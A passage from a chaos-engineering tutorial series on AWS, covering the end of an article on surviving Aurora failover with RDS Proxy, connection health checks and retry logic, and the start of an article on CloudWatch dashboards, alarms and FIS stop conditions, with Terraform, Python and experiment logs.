The reads_ok and writes_ok counters freeze at 99 and 32 for the rest of the run while the failure counters climb. The app never recovers. Not after 10 seconds, not after 30 seconds, not after the remaining minute of the test. It is permanently broken until someone restarts the Gunicorn process.

=== RESULTS ===
Reads: 99 OK / 105 FAILED
Writes: 32 OK / 0 insufficient-stock(409) / 36 REAL-FAILED
Real failures (reads_fail + writes_fail) = 141

And the app did not heal on its own. The orchestrator probes the deep health check after the experiment finishes:

health/deep now: {"database":"error","error":"network error","status":"unhealthy"}
products now: http=500

The damage: 32 orders went through before the failover. 36 write attempts after the failover failed outright. USB-C Hub stock went from 150 to 118 (150 minus 32 successful orders). Every customer who tried to read a product page or place an order after the failover got a 500, and those 36 order attempts were lost.

Why the App Never Recovers

This is the part that surprises people. The failover is done. Aurora promoted the reader to writer. DNS updated. The database is healthy. But the app stays broken. Here is why.

Look at get_db_connection() again:

def get_db_connection():
    global _worker_conn
    if _worker_conn is None:
        _worker_conn = pg8000.connect(
            host=DB_ENDPOINT,
            port=DB_PORT,
            database=DB_NAME,
            user=DB_USERNAME,
            password=DB_PASSWORD,
        )
        _worker_conn.autocommit = True
    return _worker_conn

The function only creates a new connection if _worker_conn is None. When Aurora demotes the old writer, it kills the TCP connection on the server side. But the connection object still exists in the Gunicorn worker's memory. It is not None. It just points to a dead socket.

Every subsequent query sends data down that dead socket and gets “network error” back. The function never sets _worker_conn = None, so it never creates a new connection. The worker is stuck in a loop: check if connection exists (yes, it does), use it (network error), return 500. Over and over, forever.

The only way out is to restart the Gunicorn process, which kills all workers and forces fresh connections to the new writer endpoint.

The Fix: RDS Proxy + Retry Logic + Read/Write Separation

Three changes turn this permanent outage into a roughly 15-second blip.

1. RDS Proxy

RDS Proxy sits between EC2 and Aurora. It maintains its own connection pool to the database. When Aurora fails over, the proxy detects it, drops stale connections to the old writer, and reconnects to the new writer. The app’s connection to the proxy stays alive. The proxy absorbs the failover instead of passing it through to every application instance.

2. Retry with Reconnection

The retry_on_connection_error() function catches connection exceptions, resets the broken connection, waits with exponential backoff, and retries. This handles the brief moment when the proxy itself is reconnecting to the new Aurora backend.

3. Read/Write Separation

Reads go to the proxy reader endpoint. Writes go to the proxy writer endpoint. This means read traffic can continue even during a writer failover. The reader instance is unaffected by a writer promotion.

Apply with the proxy enabled:

$ terraform apply -var="enable_proxy=true"

Terraform adds 9 new resources (every resource guarded by count = var.enable_proxy ? 1 : 0): the Secrets Manager secret and its version, the RDS Proxy, the proxy default target group, the proxy target, the proxy reader endpoint, the proxy security group, and the proxy IAM role with its policy. A few existing resources also change in place, because their attributes depend on enable_proxy: the launch template (the app's DB endpoints switch to the proxy) and the Aurora security group (its ingress now allows the proxy instead of EC2 directly).

The proxy resources in database.tf use count = var.enable_proxy ? 1 : 0 so they only exist when the proxy is enabled:

# Store DB credentials in Secrets Manager (required by RDS Proxy)
resource "aws_secretsmanager_secret" "db_credentials" {
  count = var.enable_proxy ? 1 : 0
  name = "chaos-lab/db-credentials"
  recovery_window_in_days = 0

  tags = {
    Name = "chaos-lab-db-credentials"
  }
}

resource "aws_secretsmanager_secret_version" "db_credentials" {
  count = var.enable_proxy ? 1 : 0
  secret_id = aws_secretsmanager_secret.db_credentials[0].id

  secret_string = jsonencode({
    username = var.db_username
    password = random_password.db.result
  })
}

resource "aws_db_proxy" "main" {
  count = var.enable_proxy ? 1 : 0
  name = "chaos-lab-proxy"
  engine_family = "POSTGRESQL"
  role_arn = aws_iam_role.rds_proxy[0].arn
  vpc_subnet_ids = aws_subnet.private[*].id
  vpc_security_group_ids = [aws_security_group.rds_proxy[0].id]
  require_tls = false

  auth {
    auth_scheme = "SECRETS"
    iam_auth = "DISABLED"
    secret_arn = aws_secretsmanager_secret.db_credentials[0].arn
  }

  tags = {
    Name = "chaos-lab-proxy"
  }
}

resource "aws_db_proxy_default_target_group" "main" {
  count = var.enable_proxy ? 1 : 0
  db_proxy_name = aws_db_proxy.main[0].name

  connection_pool_config {
    max_connections_percent = 100
    connection_borrow_timeout = 120
    max_idle_connections_percent = 50
  }
}

resource "aws_db_proxy_target" "main" {
  count = var.enable_proxy ? 1 : 0
  db_proxy_name = aws_db_proxy.main[0].name
  target_group_name = aws_db_proxy_default_target_group.main[0].name
  db_cluster_identifier = aws_rds_cluster.main.cluster_identifier
}

# Read-only proxy endpoint: routes traffic to Aurora reader instances
resource "aws_db_proxy_endpoint" "reader" {
  count = var.enable_proxy ? 1 : 0
  db_proxy_name = aws_db_proxy.main[0].name
  db_proxy_endpoint_name = "chaos-lab-proxy-reader"
  target_role = "READ_ONLY"
  vpc_subnet_ids = aws_subnet.private[*].id
  vpc_security_group_ids = [aws_security_group.rds_proxy[0].id]

  tags = {
    Name = "chaos-lab-proxy-reader"
  }
}

With the proxy in the middle, the security group chain changes. EC2 no longer connects directly to Aurora:

# RDS Proxy: sits between EC2 and Aurora (only when proxy is enabled)
resource "aws_security_group" "rds_proxy" {
  count = var.enable_proxy ? 1 : 0
  name_prefix = "chaos-lab-rds-proxy-"
  vpc_id = aws_vpc.main.id

  ingress {
    description = "PostgreSQL from EC2 instances"
    from_port = 5432
    to_port = 5432
    protocol = "tcp"
    security_groups = [aws_security_group.ec2.id]
  }

  egress {
    from_port = 0
    to_port = 0
    protocol = "-1"
    cidr_blocks = ["0.0.0.0/0"]
  }

  tags = {
    Name = "chaos-lab-rds-proxy-sg"
  }

  lifecycle {
    create_before_destroy = true
  }
}

The launch template switches endpoints based on the proxy flag:

user_data = base64encode(templatefile("${path.module}/templates/userdata.sh.tpl", {
  db_endpoint = var.enable_proxy ? aws_db_proxy.main[0].endpoint : aws_rds_cluster.main.endpoint
  db_reader_endpoint = var.enable_proxy ? aws_db_proxy_endpoint.reader[0].endpoint : ""
  db_port = tostring(aws_rds_cluster.main.port)
  db_name = var.db_name
  db_username = var.db_username
  enable_proxy = var.enable_proxy
}))

The resilient app code (the if enable_proxy branch) has separate connections for reading and writing, health checks on each connection, reset functions, and the retry wrapper:

_writer_conn = None
_reader_conn = None


def get_writer_connection():
    """Return the worker's persistent writer connection, reconnecting if needed."""
    global _writer_conn
    if _writer_conn is not None:
        try:
            c = _writer_conn.cursor()
            c.execute("SELECT 1")
            c.fetchone()
            c.close()
            return _writer_conn
        except Exception:
            try:
                _writer_conn.close()
            except Exception:
                pass
            _writer_conn = None
    _writer_conn = pg8000.connect(
        host=DB_ENDPOINT,
        port=DB_PORT,
        database=DB_NAME,
        user=DB_USERNAME,
        password=DB_PASSWORD,
    )
    _writer_conn.autocommit = True
    return _writer_conn


def get_reader_connection():
    """Return the worker's persistent reader connection, reconnecting if needed."""
    global _reader_conn
    if _reader_conn is not None:
        try:
            c = _reader_conn.cursor()
            c.execute("SELECT 1")
            c.fetchone()
            c.close()
            return _reader_conn
        except Exception:
            try:
                _reader_conn.close()
            except Exception:
                pass
            _reader_conn = None
    _reader_conn = pg8000.connect(
        host=DB_READER_ENDPOINT,
        port=DB_PORT,
        database=DB_NAME,
        user=DB_USERNAME,
        password=DB_PASSWORD,
    )
    _reader_conn.autocommit = True
    return _reader_conn


def reset_writer_connection():
    """Force the writer connection to reconnect on next use."""
    global _writer_conn
    if _writer_conn is not None:
        try:
            _writer_conn.close()
        except Exception:
            pass
        _writer_conn = None


def reset_reader_connection():
    """Force the reader connection to reconnect on next use."""
    global _reader_conn
    if _reader_conn is not None:
        try:
            _reader_conn.close()
        except Exception:
            pass
        _reader_conn = None


def retry_on_connection_error(func, max_retries=3):
    """Retry a database operation with exponential backoff on connection errors.

    Catches pg8000 connection-related exceptions (InterfaceError for closed
    connections, and general Exception for socket/network errors during failover).
    Resets both connections and retries with increasing delay.
    """
    last_error = None
    for attempt in range(max_retries + 1):
        try:
            return func()
        except (pg8000.InterfaceError, OSError, ConnectionError) as e:
            last_error = e
            if attempt < max_retries:
                reset_writer_connection()
                reset_reader_connection()
                wait = 0.5 * (2 ** attempt)
                time.sleep(wait)
    raise last_error

The key differences from the naive version:

Two connections instead of one. get_writer_connection() connects to DB_ENDPOINT (the proxy writer). get_reader_connection() connects to DB_READER_ENDPOINT (the proxy reader).
Health check before use. Each function runs SELECT 1 before returning the connection. If the ping fails, it closes the dead connection, sets it to None, and creates a new one. This is the fix for the "dead socket" problem.
Reset functions. reset_writer_connection() and reset_reader_connection() force a reconnect on next use. The retry wrapper calls both after every failed attempt.
Exponential backoff. The retry waits 0.5s, 1s, 2s between attempts. This prevents a thundering herd where every worker hammers the proxy with reconnection attempts at the same time.

The exception types in the retry are specific: pg8000.InterfaceError for closed/invalid connections, OSError for low-level socket errors (connection reset, broken pipe), and ConnectionError for Python's built-in connection exceptions.

The AFTER Experiment: A Roughly 15-Second Blip

Same traffic generator. Same FIS failover. Different result.

The orchestrator triggers the failover 30 seconds into the run:

=== trigger Aurora failover at 23:40:35 UTC ===
experiment_id=EXPtE9JPMtbX8F617Y

This time the writes order Mechanical Keyboard (product_id 3, starting stock 50). As before, the STATUS lines are printed on the traffic host, whose clock runs two hours ahead of the UTC trigger.

Before the failover, everything is normal:

01:40:44 STATUS: reads=66/0 writes_ok=22 writes_409=0 writes_fail=0

At 01:40:58, about 23 seconds after the trigger (the trigger's 23:40:35 UTC is 01:40:35 on the traffic host's clock), the proxy starts holding connections while it reconnects to the new Aurora backend. A handful of reads time out on the client side:

01:40:58 READ 0 FAIL
01:41:03 READ 0 FAIL
01:41:08 READ 0 FAIL
01:41:08 STATUS: reads=78/3 writes_ok=27 writes_409=0 writes_fail=0
01:41:14 READ 0 FAIL
01:41:20 STATUS: reads=83/4 writes_ok=29 writes_409=0 writes_fail=0

These are client-side timeouts (the generator records a status of 0 when the request never completes), not 500 errors. The proxy was holding the connections open, waiting for the backend to stabilize. The client's 5-second timeout fired before the proxy responded. Notice writes_fail stays at 0 the entire time.

By 01:41:20 the read failures stop at 4, the proxy has reconnected, and traffic resumes cleanly:

01:41:31 STATUS: reads=101/4 writes_ok=35 writes_409=0 writes_fail=0
01:41:42 STATUS: reads=119/4 writes_ok=41 writes_409=0 writes_fail=0
01:41:53 STATUS: reads=137/4 writes_ok=47 writes_409=0 writes_fail=0
01:42:04 STATUS: reads=155/4 writes_ok=50 writes_409=3 writes_fail=0

Watch the writes_ok column: 35, 41, 47, 50. Every write that the database accepted succeeded. Zero 500 errors on writes, zero network errors (writes_fail=0 throughout). The proxy absorbed the failover.

Near the end of the run the Mechanical Keyboard sells out, and the last STATUS line shows writes_409=3:

01:42:04 STATUS: reads=155/4 writes_ok=50 writes_409=3 writes_fail=0

That 409 is not an error. The app correctly rejected the order because all 50 units sold. By the end of the run there are 4 such “insufficient stock” responses. They are counted separately from real failures, which is exactly the point of the experiment.

=== RESULTS ===
Reads: 158 OK / 4 FAILED
Writes: 50 OK / 4 insufficient-stock(409) / 0 REAL-FAILED
Real failures (reads_fail + writes_fail) = 4

And the app healed itself. The orchestrator’s post-experiment probe comes back healthy with no manual intervention:

health/deep now: {"database":"connected","latency_ms":6.55,"status":"healthy"}
products now: http=200

All 50 Mechanical Keyboards sold. Stock went from 50 to 0. Zero lost orders. Zero 500 errors. The only blip was 4 read timeouts during a roughly 15-second window (the first timeout at 01:40:58 and the last at 01:41:14) while the proxy reconnected.

BEFORE vs AFTER

BEFORE (no proxy) AFTER (with proxy) Read failures 105 (500 network error) 4 (client timeout) Write failures (real) 36 (500 network error) 0 Recovery Never recovered ~15 seconds Data loss 36 lost orders Zero App state after Permanently broken Fully operational

The BEFORE app required a manual restart to recover: its post-failover health check still reported "database":"error" and product reads returned http 500. The AFTER app healed itself in about 15 seconds, came back to "database":"connected" on its own, and did not lose a single order.

Beyond the Lab: Production Patterns

The retry logic with RDS Proxy works. But it is a safety net, not a good user experience. During the retry window, the user is staring at a spinner. In production, you need patterns that keep the user experience intact even when the database is down.

For Reads: Cache-First Architecture

Put ElastiCache (Redis) or DynamoDB between your app and Aurora. The app reads from cache first, falls back to the database on cache miss. During a failover, users still see products. Stale data is better than a 500 error.

+----------------+
                          | ElastiCache |
                          | (Redis) |
                          +-------+--------+
                                  ^
                                  | cache hit? return
                                  |
User ---> ALB ---> EC2 ----------+
                          |
                          | cache miss? query DB
                          v
                   +------+--------+
                   | Aurora via |
                   | RDS Proxy |
                   +---------------+

The cache-first pattern also reduces load on Aurora during normal operation. Most product catalog reads are identical across users. Serving them from Redis at sub-millisecond latency is faster and cheaper than querying PostgreSQL every time.

For Writes: Queue-Based Write Buffering

Accept the order into SQS immediately and return “Order received” to the user. A worker process reads from SQS and writes to Aurora. If the database is down, the message stays in the queue until the database recovers. A dead letter queue catches messages that fail after max retries.

User ---> ALB ---> EC2 ---> SQS (order queue)
                              |
                              | poll messages
                              v
                     Lambda / Worker ---> Aurora via RDS Proxy
                              |
                              | failed after max retries
                              v
                     SQS (dead letter queue)

The user gets an immediate response. The actual database write happens asynchronously. If Aurora is mid-failover, the message sits in SQS for 10 seconds and then processes normally. The user never sees an error.

The tradeoff is eventual consistency. The user’s order confirmation means “we received your order” not “your order is in the database.” For most e-commerce flows, this is fine. The user does not care whether the row was inserted now or ten seconds later. They care that their order was not lost.

Circuit Breaker Pattern

Stop hitting the broken database entirely after N consecutive failures. Return a cached response or a friendly “try again in a moment” message. Periodically check if the database is back, then close the circuit and resume normal traffic.

+------------ CLOSED (normal) -----------+
              | |
              | N consecutive failures |
              v |
         OPEN (failing fast) |
              | |
              | after timeout, allow one request |
              v |
         HALF-OPEN (testing) -- success? ------------->+
              |
              | failure? back to OPEN
              v
         OPEN (failing fast)

Without a circuit breaker, every request during a database outage waits for a timeout before failing. If you have 100 requests per second and each one waits 5 seconds for a timeout, you quickly exhaust your connection pool and thread pool. The database outage cascades into the application layer, and now your healthy services are also down because they share the same thread pool or connection pool.

This is the failure mode behind many large-scale outages: a single dependency’s slowdown cascades through shared thread and connection pools because nothing fails fast. Circuit breakers exist to isolate that blast radius so one struggling backend does not drag down otherwise healthy services.

Cleanup

cd chaos-on-aws/03-database-resilience/terraform
terraform destroy -var="enable_proxy=true"

RDS Proxy and the proxy reader endpoint take a few minutes to delete. The Secrets Manager secret is deleted immediately because we set recovery_window_in_days = 0.

What’s Next

We proved that RDS Proxy, retry logic, and read/write separation turn a permanent outage into a roughly 15-second blip. But there is a scenario none of these fixes handle: what happens when the database is completely unreachable? Not a failover where a reader gets promoted in seconds, but an extended outage where Aurora is down for minutes or hours. RDS Proxy cannot help if there is no backend to connect to. Retry logic just retries into nothing.

Article 4 will implement the production patterns from this article: a circuit breaker, SQS write buffering, and a DynamoDB read cache. When the database goes down, the app stays up, and no order is lost.

Chaos Engineering on AWS: Observability and Stop Conditions with CloudWatch and FIS

Tarek CHEIKH — Tue, 07 Jul 2026 15:07:55 +0000

This is Article 2 in the “Chaos Engineering on AWS” series. We add CloudWatch dashboards, alarms, and FIS stop conditions so our experiments have eyes and guardrails.

You Cannot Break What You Cannot See

In Article 1, we deployed Chaos Shop (a product catalog and order API backed by Aurora), stopped an EC2 instance with FIS, and discovered a detection window where customer requests returned 502s and timeouts. We verified that our orders and stock data survived the failure. But we ran that experiment blind. We watched curl output in a terminal and counted errors by hand. There was no dashboard, no alarm, and no automatic way to stop the experiment if it went sideways.

That approach worked because the experiment was small and the blast radius was limited to a lab environment. In a real system, you need more. You need to see what is happening while the experiment runs, and you need the experiment to stop itself if the impact exceeds what you expected.

This is the observability-first principle: before you design more experiments, build the instrumentation to observe them. A chaos experiment without observability is just an outage you caused on purpose.

What We Are Adding

This article builds on the same infrastructure from Article 1: two EC2 instances behind an ALB, both running the Chaos Shop API, backed by Aurora Serverless v2 with products and orders tables. We are adding three things:

A CloudWatch dashboard with eight widgets covering ALB traffic, response times, healthy hosts, 5xx errors, Aurora connections, CPU, and database read/write latency.
Three CloudWatch alarms that define what “too much impact” looks like: unhealthy hosts, error rate, and latency.
FIS stop conditions that wire one of those alarms directly to the experiment, so FIS aborts automatically if healthy host count drops below 2.

We are also adding a second experiment template. Article 1 only had stop-instance. This time we add terminate-instance, which is a different failure mode with different recovery characteristics.

The full code is at github.com/TocConsulting/chaos-on-aws, in the 02-observability-first/terraform/ directory.

The CloudWatch Dashboard

The dashboard gives you a single screen to watch during experiments. Eight widgets, four rows, each one chosen because it answers a specific question you will have when something is breaking.

Row 1: ALB Traffic

Request Count : Are requests still flowing? A sudden drop to zero means nobody can reach the application, not just that some requests are failing.
Target Response Time : How fast are responses? We track both the average and the p99. The average can hide problems; the p99 shows the worst experience real users are having.

Row 2: Health and Errors

Healthy Host Count : How many instances are serving traffic? This widget includes a red annotation line at 2, which is our minimum safe count. When the line dips below that marker, you know exactly when the failure was detected.
HTTP 5xx Errors : We track both HTTPCode_ELB_5XX_Count (errors generated by the ALB itself, like 502s when a target is unreachable) and HTTPCode_Target_5XX_Count (errors returned by the application). The distinction matters. During our Article 1 experiment, the 502s came from the ALB, not the app.

Row 3: Aurora Connections and CPU

Database Connections : Connection count tells you whether instances are properly connecting and disconnecting. When an EC2 instance dies, its connections to Aurora drop. When a replacement boots, new connections appear. A spike after recovery could indicate connection leaks. Each Gunicorn worker maintains a persistent database connection, so you should see a stable connection count during normal operation (4 workers per instance, 2 instances, roughly 8 connections). When an EC2 instance dies, half the connections drop. When a replacement boots, new connections appear. A spike after recovery could indicate connection leaks.
CPU Utilization : Baseline visibility into database load. We are not targeting the database yet (that is Article 3), but if a compute experiment somehow spikes database CPU, you want to see it.

Row 4: Aurora Latency

Read Latency (SelectLatency): How long are SELECT queries taking? Every call to GET /products and GET /orders/{id} runs a SELECT against Aurora. This metric establishes the baseline that will change dramatically when we test database failover in Article 3.
Write Latency (CommitLatency and DMLLatency): How long are writes taking? Every POST /orders runs a transaction: SELECT FOR UPDATE, UPDATE stock, INSERT order, COMMIT. The commit latency is the end-to-end cost of persisting that transaction. When Aurora has a bad day, this number tells the story.

Here is how one of the dashboard widgets looks in Terraform. This is the Healthy Host Count widget with its annotation line:

{
  type = "metric"
  x = 0
  y = 6
  width = 12
  height = 6
  properties = {
    title = "Healthy Host Count"
    view = "timeSeries"
    stacked = false
    region = var.region
    period = 60
    metrics = [
      ["AWS/ApplicationELB", "HealthyHostCount",
       "TargetGroup", aws_lb_target_group.main.arn_suffix,
       "LoadBalancer", aws_lb.main.arn_suffix,
       { stat = "Minimum" }]
    ]
    annotations = {
      horizontal = [
        {
          label = "Minimum safe (2 hosts)"
          value = 2
          color = "#d62728"
        }
      ]
    }
  }
}

The stat = "Minimum" is deliberate. We want to see the lowest healthy host count within each 60-second period, not the average. If hosts dropped to 1 for 10 seconds and then recovered, the average might show 1.8, which looks fine. The minimum shows 1, which is the truth.

And here is the Aurora write latency widget, which tracks both commit latency and DML latency:

{
  type = "metric"
  x = 12
  y = 18
  width = 12
  height = 6
  properties = {
    title = "Aurora Write Latency (seconds)"
    view = "timeSeries"
    stacked = false
    region = var.region
    period = 60
    metrics = [
      ["AWS/RDS", "CommitLatency", "DBClusterIdentifier",
       aws_rds_cluster.main.cluster_identifier, { stat = "Average" }],
      ["AWS/RDS", "DMLLatency", "DBClusterIdentifier",
       aws_rds_cluster.main.cluster_identifier, { stat = "Average" }]
    ]
  }
}

All eight widgets follow the same pattern. The full dashboard definition is in observability.tf in the companion repository.

The Three Alarms

Dashboards show you what happened. Alarms tell you when something is happening right now. We define three alarms, each targeting a different failure signal.

Alarm 1: Unhealthy Hosts

resource "aws_cloudwatch_metric_alarm" "unhealthy_hosts" {
  alarm_name = "chaos-lab-unhealthy-hosts"
  alarm_description = "Healthy host count dropped below 2. FIS stop condition."
  comparison_operator = "LessThanThreshold"
  evaluation_periods = 1
  metric_name = "HealthyHostCount"
  namespace = "AWS/ApplicationELB"
  period = 60
  statistic = "Minimum"
  threshold = 2
  treat_missing_data = "breaching"

  dimensions = {
    TargetGroup = aws_lb_target_group.main.arn_suffix
    LoadBalancer = aws_lb.main.arn_suffix
  }
}

This alarm fires when the minimum healthy host count drops below 2 within any 60-second period. One evaluation period, no waiting for confirmation. If hosts are down, we want to know immediately.

The treat_missing_data = "breaching" setting is important. If CloudWatch stops receiving HealthyHostCount data, that probably means the target group or load balancer is in trouble. Missing data should be treated as bad news, not ignored. This is the conservative choice for a safety-critical alarm.

Alarm 2: High Error Rate

resource "aws_cloudwatch_metric_alarm" "high_error_rate" {
  alarm_name = "chaos-lab-high-error-rate"
  alarm_description = "ALB 5xx error rate exceeds 10%."
  comparison_operator = "GreaterThanThreshold"
  evaluation_periods = 1
  threshold = 10

  metric_query {
    id = "error_rate"
    expression = "IF(requests > 0, ((FILL(elb_errors, 0) + FILL(target_errors, 0)) / requests) * 100, 0)"
    label = "Error Rate %"
    return_data = true
  }

  metric_query {
    id = "elb_errors"
    metric {
      metric_name = "HTTPCode_ELB_5XX_Count"
      namespace = "AWS/ApplicationELB"
      period = 60
      stat = "Sum"
      dimensions = {
        LoadBalancer = aws_lb.main.arn_suffix
      }
    }
  }

  metric_query {
    id = "target_errors"
    metric {
      metric_name = "HTTPCode_Target_5XX_Count"
      namespace = "AWS/ApplicationELB"
      period = 60
      stat = "Sum"
      dimensions = {
        LoadBalancer = aws_lb.main.arn_suffix
      }
    }
  }

  metric_query {
    id = "requests"
    metric {
      metric_name = "RequestCount"
      namespace = "AWS/ApplicationELB"
      period = 60
      stat = "Sum"
      dimensions = {
        LoadBalancer = aws_lb.main.arn_suffix
      }
    }
  }

  treat_missing_data = "notBreaching"
}

This alarm uses a metric math expression to calculate the error percentage: the sum of ALB-generated 5xx errors (HTTPCode_ELB_5XX_Count) and application-generated 5xx errors (HTTPCode_Target_5XX_Count) divided by total requests, multiplied by 100. The IF(requests > 0, ...) guard prevents division by zero when there is no traffic, and FILL(..., 0) treats missing error metrics as zero (CloudWatch only publishes error counts when errors exist). It fires when the error rate exceeds 10%.

Notice treat_missing_data = "notBreaching" here, the opposite of the unhealthy hosts alarm. If there is no traffic data, it means nobody is sending requests. No traffic means no errors. That is not a problem, so we do not want the alarm to fire.

This is the key design decision with treat_missing_data: ask yourself, "If I am not getting data, should I assume the worst or assume everything is fine?" For infrastructure health signals like host count, assume the worst. For traffic-based signals like error rate, no data usually means no traffic.

Alarm 3: High Latency

resource "aws_cloudwatch_metric_alarm" "high_latency" {
  alarm_name = "chaos-lab-high-latency"
  alarm_description = "ALB p99 response time exceeds 2 seconds."
  comparison_operator = "GreaterThanThreshold"
  evaluation_periods = 2
  metric_name = "TargetResponseTime"
  namespace = "AWS/ApplicationELB"
  period = 60
  extended_statistic = "p99"
  threshold = 2

  dimensions = {
    LoadBalancer = aws_lb.main.arn_suffix
  }

  treat_missing_data = "notBreaching"
}

This one fires when the p99 response time exceeds 2 seconds for two consecutive evaluation periods. The two-period requirement is intentional. A single spike in latency can happen during normal operation: maybe a cold database connection, maybe a garbage collection pause. Two consecutive periods of high p99 latency suggests a sustained problem.

Like the error rate alarm, treat_missing_data = "notBreaching" because no response time data means no requests, which is not a latency problem.

FIS Stop Conditions

This is where observability and chaos engineering connect directly. A stop condition tells FIS: “Watch this CloudWatch alarm. If it enters the ALARM state, abort the experiment immediately.”

In Article 1, our FIS experiment had stop_condition { source = "none" }. The experiment ran to completion regardless of what happened. Now we wire it to the unhealthy hosts alarm:

resource "aws_fis_experiment_template" "stop_instance_with_guardrail" {
  description = "Stop one EC2 instance with CloudWatch stop condition"
  role_arn = aws_iam_role.fis.arn

  action {
    name = "stop-instance"
    action_id = "aws:ec2:stop-instances"

    parameter {
      key = "startInstancesAfterDuration"
      value = "PT5M"
    }

    target {
      key = "Instances"
      value = "chaos-lab-instances"
    }
  }

  target {
    name = "chaos-lab-instances"
    resource_type = "aws:ec2:instance"
    selection_mode = "COUNT(1)"

    resource_tag {
      key = "Project"
      value = "chaos-lab"
    }
  }

  stop_condition {
    source = "aws:cloudwatch:alarm"
    value = aws_cloudwatch_metric_alarm.unhealthy_hosts.arn
  }
}

Two changes from Article 1 worth noting.

First, the stop condition now points to aws:cloudwatch:alarm with the ARN of our unhealthy hosts alarm. When FIS is running this experiment, it polls the alarm state. If the alarm transitions to ALARM, FIS halts the experiment and reports "Experiment halted by stop condition."

Second, we added startInstancesAfterDuration = "PT5M". This tells FIS to keep the instance stopped for 5 minutes before restarting it. In Article 1, the stop action completed immediately. Here, the experiment stays active for up to 5 minutes, which gives the stop condition time to evaluate. Without a duration, the experiment would complete before the alarm even had a chance to fire.

We also add a second experiment template for terminating instances:

resource "aws_fis_experiment_template" "terminate_instance" {
  description = "Terminate one EC2 instance to test full replacement"
  role_arn = aws_iam_role.fis.arn

  action {
    name = "terminate-instance"
    action_id = "aws:ec2:terminate-instances"

    target {
      key = "Instances"
      value = "chaos-lab-instances"
    }
  }

  target {
    name = "chaos-lab-instances"
    resource_type = "aws:ec2:instance"
    selection_mode = "COUNT(1)"

    resource_tag {
      key = "Project"
      value = "chaos-lab"
    }
  }

  stop_condition {
    source = "aws:cloudwatch:alarm"
    value = aws_cloudwatch_metric_alarm.unhealthy_hosts.arn
  }
}

Terminate is a different failure mode from stop. When you stop an instance, it stays in the ASG but is not running. When you terminate it, the ASG removes it entirely and launches a fresh replacement. Terminate tests the full recovery path: new instance, new boot, new application startup, new database connection, new table initialization. We will see the difference in the results.

The IAM Addition

For FIS to evaluate stop conditions, it needs permission to read CloudWatch alarm state. The FIS IAM role from Article 1 only had ec2:StopInstances, ec2:StartInstances, and ec2:DescribeInstances. Now we add ec2:TerminateInstances (for the new experiment) and cloudwatch:DescribeAlarms (for stop condition evaluation):

{
  # FIS needs this to evaluate stop conditions
  Effect = "Allow"
  Action = [
    "cloudwatch:DescribeAlarms"
  ]
  Resource = "*"
}

Without this permission, FIS cannot check the alarm state and the stop condition will not work. You will get an access denied error when the experiment tries to evaluate the alarm. This is easy to miss: the experiment template will create successfully without the permission, but it will fail at runtime.

Deploy

The code for this article is in a separate directory from Article 1. It is a standalone deployment that includes everything from Article 1 plus the observability layer.

cd chaos-on-aws/02-observability-first/terraform
terraform init
terraform plan
terraform apply

Terraform deploys 42 resources. When it completes, you will see outputs including the ALB endpoint, the two FIS experiment template IDs, and the dashboard URL:

Outputs:

alb_dns_name = "chaos-lab-alb-636595371.us-east-1.elb.amazonaws.com"
fis_stop_with_guardrail_id = "EXT6CdqZCxFNnUQac"
fis_terminate_instance_id = "EXTUuE4S9dXNXjW"
dashboard_url = "https://us-east-1.console.aws.amazon.com/cloudwatch/home?region=us-east-1#dashboards:name=chaos-lab"

Open the dashboard URL in your browser. You should see all eight widgets. The ALB widgets will be empty until traffic starts flowing. The Aurora widgets should show baseline metrics as soon as the cluster is running.

Verify Chaos Shop is working

Give the instances a couple of minutes to boot, install dependencies, and initialize the database. Then verify the app is healthy and the database is connected:

$ ALB="chaos-lab-alb-636595371.us-east-1.elb.amazonaws.com"

$ curl -s http://$ALB/products | python3 -m json.tool
{
    "products": [
        {"id": 1, "name": "Wireless Keyboard", "price": 49.99, "stock": 98},
        {"id": 2, "name": "USB-C Hub", "price": 34.99, "stock": 150},
        ...
    ],
    "count": 10,
    "db_latency_ms": 206.62,
    "served_by": "i-00edc6d9f204115d2"
}

Ten products from Aurora. Now place a few orders to establish baseline data that we can verify survives the experiments:

$ curl -s -X POST http://$ALB/orders \
    -H "Content-Type: application/json" \
    -d '{"product_id": 3, "quantity": 2}' | python3 -m json.tool
{
    "order_id": 5,
    "product_name": "Mechanical Keyboard",
    "quantity": 2,
    "total": 259.98,
    "status": "confirmed",
    "served_by": "i-09c857d6e040564b6"
}

This order draws stock from product 3 (Mechanical Keyboard), which we will use as our data-integrity check after each experiment. Then confirm all three alarms are in OK state:

$ aws cloudwatch describe-alarms \
    --alarm-name-prefix "chaos-lab" \
    --query 'MetricAlarms[].{Name:AlarmName,State:StateValue}' \
    --output table

---------------------------------------------
| DescribeAlarms |
+----------------------------+--------------+
| Name | State |
+----------------------------+--------------+
| chaos-lab-high-error-rate | OK |
| chaos-lab-high-latency | OK |
| chaos-lab-unhealthy-hosts | OK |
+----------------------------+--------------+

All three alarms are in OK state. The system is healthy. The dashboard is showing traffic. Time to break things.

Experiment 1: Stop Instance with Guardrail

The Hypothesis

Hypothesis: If we stop one EC2 instance, the unhealthy hosts alarm will fire when CloudWatch detects the drop in healthy host count. FIS will then abort the experiment automatically via the stop condition. The system will recover without manual intervention.

This is a different hypothesis from Article 1. We are not just asking “does the system recover?” We are asking “do the guardrails work?”

Run It

Start the experiment:

$ aws fis start-experiment \
    --experiment-template-id EXT6CdqZCxFNnUQac \
    --query 'experiment.id' \
    --output text

EXPezUApU6uUwbuD3Y

In a second terminal, start polling the ALB. We are hitting the /products endpoint, which reads all 10 products from Aurora on every request. This is a real database operation, not a synthetic health check:

$ while true; do
    echo "$(date -u '+%H:%M:%S') - $(curl -s -o /dev/null -w '%{http_code}' \
      --connect-timeout 3 --max-time 5 \
      http://$ALB/products)"
    sleep 2
  done

The Results

The experiment started at 21:55:38 UTC. This template has startInstancesAfterDuration = PT5M, so FIS keeps the instance stopped for up to 5 minutes while the stop condition watches the unhealthy hosts alarm.

The alarm timeline tells the story:

21:55:38 UTC - Experiment started, one instance stopped
21:59:49 UTC - chaos-lab-unhealthy-hosts: OK -> ALARM
               (Healthy host count dropped below 2), and FIS
               halted the experiment in the same window:
               "Experiment halted by stop condition"

About four minutes after the experiment started, the healthy host count dropped below 2, the alarm transitioned to ALARM, and FIS halted the experiment. Our status loop polled at roughly 11-second intervals, and the first poll that observed the alarm in ALARM (21:59:49) also already showed the experiment as stopped. So the most we can claim about the alarm-to-abort latency is that it fell within one poll interval (about 11 seconds); we did not capture finer resolution than that.

You can verify the halt by checking the experiment status:

$ aws fis get-experiment \
    --id EXPezUApU6uUwbuD3Y \
    --query 'experiment.{state:state.status,reason:state.reason}'

{
    "state": "stopped",
    "reason": "Experiment halted by stop condition."
